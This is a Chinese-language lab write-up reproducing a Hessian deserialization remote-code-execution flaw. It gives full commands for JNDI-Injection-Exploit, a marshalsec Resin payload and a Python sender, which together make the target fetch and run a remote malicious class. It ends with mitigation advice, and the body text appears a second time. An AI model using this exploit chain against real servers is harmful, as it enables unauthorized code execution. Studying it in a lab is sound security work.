Hessian反序列化RCE漏发复现及分析
字数 1319 2025-08-26 22:11:45

Hessian反序列化RCE漏洞复现与分析

1. 漏洞概述

Hessian是一个轻量级的RPC框架,基于HTTP协议传输,使用Hessian二进制序列化。该框架存在反序列化漏洞,可导致远程代码执行(RCE)。此漏洞早在2017年就公开了POC,但测试发现最新版本hessian-4.0.60.jar仍然存在此问题。

2. 漏洞原理

Hessian框架在处理客户端请求时,通过com.caucho.hessian.server.HessianServletservice方法处理HTTP请求,最终调用HessianSkeletoninvoke方法和readObject方法从数据流中读取对象。由于缺乏有效的黑白名单过滤机制,攻击者可以构造恶意序列化数据实现RCE。

3. 环境搭建

  1. 使用最新jar包:hessian-4.0.60.jar
  2. 将HessianTest.war部署到tomcat/webapp/目录下
  3. 启动tomcat服务器
  4. 访问http://127.0.0.1:8080/HessianTest/hessian验证环境是否正常

注意:测试发现JDK7+Tomcat7环境可成功复现,而JDK8+Tomcat9环境可能存在问题。

4. 漏洞复现步骤

4.1 启动JNDI利用工具

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc.exe" -A 127.0.0.1

参数说明:

  • -C:需要执行的命令
  • -A:监听地址

4.2 生成payload

使用marshalsec项目生成利用payload:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian Resin http://127.0.0.1:8180/ExecTemplateJDK7 > hessian_payload

注意http://127.0.0.1:8180/ExecTemplateJDK7是JNDI注入工具生成的恶意代码地址。

4.3 发送payload到Hessian服务器

使用hessian.py脚本发送序列化的payload:

python hessian.py -u http://127.0.0.1:8080/HessianTest/hessian -p hessian_payload

成功执行后,服务器会从JNDI注入工具下载恶意类并执行指定命令(如弹出计算器)。

5. 常见问题解决

  1. "找不到或无法加载主类 marshalsec.Hessian"

    • 确保marshalsec jar包路径正确
    • 检查Java环境配置
  2. Python脚本报错

    requests.exceptions.ChunkedEncodingError: ('Connection broken: IncompleteRead(0 bytes read)', IncompleteRead(0 bytes read))
    
    • 检查网络连接
    • 验证目标服务是否正常运行
  3. Tomcat9+JDK8环境问题

    • 错误信息显示expected hessian method ('m') at end of file
    • 建议切换到JDK7+Tomcat7环境进行测试

6. 工具与资源

  • 漏洞复现工具包:https://github.com/21superman/Hessian-Deserialize-RCE
  • marshalsec项目:用于生成利用payload
  • JNDI-Injection-Exploit:JNDI注入利用工具

7. 防护建议

  1. 升级到最新安全版本的Hessian
  2. 实现反序列化黑白名单机制
  3. 限制Hessian服务的访问权限
  4. 监控异常的网络请求和系统行为

8. 技术要点总结

  1. Hessian反序列化漏洞利用的是Java反序列化机制
  2. 通过JNDI注入实现远程代码执行
  3. 利用链涉及Resin、ROME、XBean等多个组件
  4. 最新版本仍存在此问题,说明修复不彻底

此漏洞危害性高,建议相关用户及时采取防护措施。

Hessian反序列化RCE漏洞复现与分析 1. 漏洞概述 Hessian是一个轻量级的RPC框架,基于HTTP协议传输,使用Hessian二进制序列化。该框架存在反序列化漏洞,可导致远程代码执行(RCE)。此漏洞早在2017年就公开了POC,但测试发现最新版本hessian-4.0.60.jar仍然存在此问题。 2. 漏洞原理 Hessian框架在处理客户端请求时,通过 com.caucho.hessian.server.HessianServlet 的 service 方法处理HTTP请求,最终调用 HessianSkeleton 的 invoke 方法和 readObject 方法从数据流中读取对象。由于缺乏有效的黑白名单过滤机制,攻击者可以构造恶意序列化数据实现RCE。 3. 环境搭建 使用最新jar包:hessian-4.0.60.jar 将HessianTest.war部署到tomcat/webapp/目录下 启动tomcat服务器 访问 http://127.0.0.1:8080/HessianTest/hessian 验证环境是否正常 注意 :测试发现JDK7+Tomcat7环境可成功复现,而JDK8+Tomcat9环境可能存在问题。 4. 漏洞复现步骤 4.1 启动JNDI利用工具 参数说明: -C :需要执行的命令 -A :监听地址 4.2 生成payload 使用marshalsec项目生成利用payload: 注意 : http://127.0.0.1:8180/ExecTemplateJDK7 是JNDI注入工具生成的恶意代码地址。 4.3 发送payload到Hessian服务器 使用hessian.py脚本发送序列化的payload: 成功执行后,服务器会从JNDI注入工具下载恶意类并执行指定命令(如弹出计算器)。 5. 常见问题解决 "找不到或无法加载主类 marshalsec.Hessian" : 确保marshalsec jar包路径正确 检查Java环境配置 Python脚本报错 : 检查网络连接 验证目标服务是否正常运行 Tomcat9+JDK8环境问题 : 错误信息显示 expected hessian method ('m') at end of file 建议切换到JDK7+Tomcat7环境进行测试 6. 工具与资源 漏洞复现工具包:https://github.com/21superman/Hessian-Deserialize-RCE marshalsec项目:用于生成利用payload JNDI-Injection-Exploit:JNDI注入利用工具 7. 防护建议 升级到最新安全版本的Hessian 实现反序列化黑白名单机制 限制Hessian服务的访问权限 监控异常的网络请求和系统行为 8. 技术要点总结 Hessian反序列化漏洞利用的是Java反序列化机制 通过JNDI注入实现远程代码执行 利用链涉及Resin、ROME、XBean等多个组件 最新版本仍存在此问题,说明修复不彻底 此漏洞危害性高,建议相关用户及时采取防护措施。